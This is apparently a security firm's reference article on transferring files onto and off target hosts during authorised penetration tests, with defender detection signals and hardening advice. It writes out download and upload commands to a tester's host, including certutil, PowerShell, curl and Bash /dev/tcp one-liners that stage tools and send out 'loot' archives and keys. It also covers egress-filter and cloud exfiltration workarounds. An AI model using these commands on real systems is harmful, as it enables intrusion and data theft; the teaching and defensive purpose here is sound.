Dit artikel is alleen in het Engels beschikbaar.
Moving a file onto or off a target is routine in an infrastructure assessment: staging a script, pulling a config file back, dropping a tool on a host with no graphical session. This is a current reference for the methods that still work in 2026, and, just as useful, for what each one looks like to a defender.
One rule sits above all of it. Only transfer files to and from systems you are authorised to test, inside an agreed scope. The techniques below are standard administrative tools; the authorisation is what separates an assessment from an intrusion.
Windows, built in
Most Windows hosts ship with several ways to fetch a file without installing anything. The two most reliable are PowerShell and certutil.
# PowerShell, the modern option
Invoke-WebRequest -Uri http://10.10.14.7/tool.ps1 -OutFile C:\Windows\Temp\tool.ps1
# certutil is a certificate tool, but it downloads any file, which is why defenders watch it
certutil.exe -urlcache -split -f http://10.10.14.7/tool.exe C:\Windows\Temp\tool.exe
To upload back, a short request to a listener works without extra tooling.
Invoke-WebRequest -Uri http://10.10.14.7/upload -Method PUT -InFile C:\Temp\loot.zip
These are living-off-the-land techniques: the tool is legitimate, and the behaviour is what gives it away.
Linux, built in
On Linux the built-in options are usually curl or wget. Both are near universal in 2026, and curl now ships on current Windows builds as well.
curl -s http://10.10.14.7/tool.sh -o /tmp/tool.sh # download
curl -s -X POST --data-binary @/tmp/loot.tar.gz http://10.10.14.7/upload # upload
When neither is present, Bash can open a TCP socket itself, which helps on a stripped-down container.
exec 3<>/dev/tcp/10.10.14.7/8080
echo -e "GET /tool.sh HTTP/1.0\r\n\r" >&3
cat <&3 > /tmp/tool.sh
When egress is blocked
Egress filtering is common, and an outbound request to the tester’s host simply fails. Three fallbacks remain: an internal SMB share, often reachable when the internet is not; a WebDAV share mounted over HTTP where SMB is blocked between segments; and base64 over the shell that is already open, slow but enough for a key or a short script.
base64 -w0 /tmp/key.pem # encode on the source
echo PLACEHOLDER | base64 -d > /tmp/key.pem # decode on the target
Cloud and container paths
A tester who reaches a cloud instance or a container has faster options that use the platform’s own tooling, and these often bypass the network controls built for servers.
| Environment | Common transfer path |
|---|---|
| AWS instance with a role | aws s3 cp to a bucket the role can reach |
| Azure VM with a managed identity | az storage blob upload to a reachable account |
| Kubernetes with kubectl access | kubectl cp between a pod and the host |
| Container with registry access | Bake the file into an image layer and pull it |
Storage traffic to a provider looks like normal application traffic and leaves its trace in the cloud audit log, not the network sensor.
What defenders see
Every method above produces a signal.
| Technique | What a defender can watch for |
|---|---|
certutil downloading a file |
certutil with a URL argument is rarely legitimate |
| PowerShell web requests | Script block logging and outbound connections from powershell.exe |
curl or wget on a server |
Outbound connections from a host with no reason to browse |
| SMB or WebDAV staging | Writes to unusual shares and new mounted drives |
| Cloud storage copy | Provider audit logs: storage operations from an unexpected identity |
The defensive takeaway: block outbound traffic from servers by default, alert on
certutiland PowerShell reaching the network, log PowerShell script blocks, and treat the cloud audit log as a primary source. For the upload direction, data loss prevention can flag an archive leaving a host over HTTP.
Closing
File transfer is a small step with a large signal. For a tester it is a means to an end; for a defender it is one of the clearest points to catch activity early, because the tools are known and the behaviour is anomalous. A good report covers both: how the file moved, and where the client’s own logs would have shown it.
For how this fits into a full infrastructure assessment, see the advanced testing service page.
